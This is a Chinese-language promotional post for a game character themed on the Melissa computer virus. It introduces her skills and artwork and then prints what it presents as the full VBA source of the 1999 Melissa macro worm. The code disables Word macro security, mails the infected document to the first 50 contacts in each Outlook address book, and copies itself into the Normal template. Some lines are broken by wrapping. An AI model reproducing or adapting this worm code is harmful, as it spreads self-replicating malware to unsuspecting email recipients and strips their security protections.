粉碎狂熱美麗殺手之梅麗莎 梅麗莎介紹

今天讓我們來繼續(xù)介紹病毒吧～這畢竟是我們游戲很特別的地方之一嘛～而且還能寓教于樂對吧～

TA的簡介|

今天我們要介紹的計算機病毒有一個很XX（暫時沒想到用什么形容詞更合適）的中文名字——美麗殺手。本名是梅麗莎（Melissa）。美麗殺手可以自動給郵件客戶端的前50名聯(lián)系人發(fā)送郵件，收到郵件的用戶如果打開郵件即會收到病毒的影響。按照當時的計算機量計算，如果“美麗殺手”病毒能夠按照理論上的速度傳播，只需要繁殖5次就可以讓全世界所有的網(wǎng)絡用戶都都收到一份。好厲害有沒有！

77 潛伏型梅莉莎

78 擬態(tài)潛伏型梅莉莎2.0

|技能|

梅麗莎是紅屬性技巧性角色。技能是讓敵人進入病毒狀態(tài)并減少防御力，是一個很有“病毒”感的技能呢。粉碎技也和她病毒的出身很貼切，是給予全體敵人傷。

|關于角色的一點點補充|

梅麗莎的立繪是一位隱藏在數(shù)據(jù)中的、頭上戴著病毒樣式的發(fā)卡、有著壞壞的微笑的美少女～給人以隱藏在數(shù)據(jù)里，偷偷襲擊敵人的感覺，不愧是能承受起“美麗殺手”這個名號的角色呢～覺醒后的梅麗莎周圍多了很多的小熊布偶，就好像那些被她攻陷了的計算機一樣很可怕吧～～～

最后，讓我們把這位“美麗殺手”看光光吧～

前方高能！?。。。?！

美麗殺手病毒源代碼：

Private Sub Document_Open()

On Error Resume Next

IfSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microso

ft\Office\9.0\Word\Security","Level") <> "" Then

CommandBars("Macro").Controls("Security...").Enabled= False

System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsof

t\Office\9.0\Word\Security","Level") = 1&

Else

CommandBars("Tools").Controls("Macro").Enabled= False

Options.ConfirmConversions = (1 - 1):Options.VirusProtection = (1 -

1): Options.SaveNormalPrompt = (1 - 1)

End If

Dim UngaDasOutlook, DasMapiName,BreakUmOffASlice

Set UngaDasOutlook = CreateObject("Outlook.Application")

Set DasMapiName =UngaDasOutlook.GetNameSpace("MAPI")

IfSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microso

ft\Office\", "Melissa?")<> "... by Kwyjibo" Then

If UngaDasOutlook = "Outlook"Then

DasMapiName.Logon "profile","password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice =UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo =AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "ImportantMessage From " & Applic

ation.UserName

BreakUmOffASlice.Body = "Here is thatdocument you asked for

... don't show anyone else ;-)"

BreakUmOffASlice.Attachments.AddActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End If

System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsof

t\Office\", "Melissa?") ="... by Kwyjibo"

End If

Set ADI1 =ActiveDocument.VBProject.VBComponents.Item(1)

Set NTI1 =NormalTemplate.VBProject.VBComponents.Item(1)

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> "Melissa"Then

If ADCL > 0 ThenADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = "Melissa"

DoAD = True

End If

If NTI1.Name <> "Melissa"Then

If NTCL > 0 ThenNTI1.CodeModule.DeleteLines 1, NTCL

Set ToInfect = NTI1

NTI1.Name = "Melissa"

DoNT = True

End If

If DoNT <> True And DoAD <>True Then GoTo CYA

If DoNT = True Then

Do While ADI1.CodeModule.Lines(1, 1) =""

ADI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString("Private Sub Document_Close()")

Do While ADI1.CodeModule.Lines(BGN, 1)<> ""

ToInfect.CodeModule.InsertLines BGN,ADI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

If DoAD = True Then

Do While NTI1.CodeModule.Lines(1, 1) =""

NTI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString("Private Sub Document_Open()")

Do While NTI1.CodeModule.Lines(BGN, 1)<> ""

ToInfect.CodeModule.InsertLines BGN,NTI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

CYA:

If NTCL <> 0 And ADCL = 0 And(InStr(1, ActiveDocument.Name, "Document

") = False) Then

ActiveDocument.SaveAsFileName:=ActiveDocument.FullName

ElseIf (InStr(1, ActiveDocument.Name,"Document") <> False) Then

ActiveDocument.Saved = True

End If

'WORD/Melissa written by Kwyjibo

'Works in both Word 2000 and Word 97

'Worm? Macro Virus? Word 97 Virus? Word2000 Virus? You Decide!

'Word -> Email | Word 97 <--> Word2000 ... it's a new age!

If Day(Now) = Minute(Now) ThenSelection.TypeText " Twenty-two points,

plus triple-word-score, plus fifty pointsfor using all my letters.

Game's over.I'moutta here."